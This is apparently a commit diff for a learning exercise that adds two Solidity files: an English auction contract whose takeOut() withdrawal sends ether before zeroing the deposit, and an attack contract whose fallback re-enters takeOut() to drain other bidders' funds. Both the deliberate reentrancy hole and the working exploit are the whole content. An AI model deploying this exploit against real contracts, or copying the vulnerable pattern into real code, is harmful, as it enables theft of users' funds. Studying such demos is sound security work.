renuntancy attack intro

engAuctionRenentancyAttack.sol

@@ -0,0 +1,68 @@
+//SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.7;
+
+contract EnglishAuction{
+    address payable public seller;
+    uint256 public timeToEnd;
+    bool public running;
+
+    address public highestBidder;
+    uint public highestBid;
+
+    mapping(address => uint256) public deposits;
+
+    constructor(){
+        seller = payable(msg.sender);
+
+
+    }
+
+    function startAuction() public{
+        require(!running);
+        require(seller == msg.sender);
+
+        running = true;
+        timeToEnd = block.timestamp + 1 minutes;
+
+    }
+
+    function bid() public payable{
+        require(running);
+
+        require(msg.value > highestBid);
+
+        deposits[msg.sender] += msg.value;
+
+        //payable(highestBidder).transfer(highestBid);
+
+        highestBidder = msg.sender;
+        highestBid = msg.value;
+
+    }
+
+    function win() public{
+        require(running);
+        require(timeToEnd <= block.timestamp);
+
+        running = false;
+        seller.transfer(highestBid);
+    }
+
+    function takeOut() public {
+        require(msg.sender != highestBidder);
+        require(deposits[msg.sender]!=0);
+
+        (bool tryToSend,) = msg.sender.call{value: deposits[msg.sender]}("");
+        require(tryToSend);
+
+        deposits[msg.sender] = 0;
+
+    }
+
+    function getBalance() public view returns(uint256){
+        return deposits[msg.sender];
+    }
+
+
+}

renuntancyHackEng.sol

@@ -0,0 +1,36 @@
+//SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.7;
+
+interface IEnglishAuction{
+    function bid() external payable;
+    function takeOut() external;
+    function getBalance() external view returns(uint256);
+}
+
+contract auctionHack{
+    IEnglishAuction public auctionContrcat;
+    uint public loopCounter;
+    uint public loop = 0;
+
+    constructor(address addy){
+        auctionContrcat = IEnglishAuction(addy);
+    } 
+
+    function bid() public payable{
+        auctionContrcat.bid{value: msg.value}();
+    }
+
+    function takeOut2() public{
+        loopCounter = address(auctionContrcat).balance / auctionContrcat.getBalance() - 1;
+        auctionContrcat.takeOut();
+    }
+
+    fallback() external payable{
+        if(loop < loopCounter){
+            loop += 1;
+            auctionContrcat.takeOut();
+        }
+    }
+
+}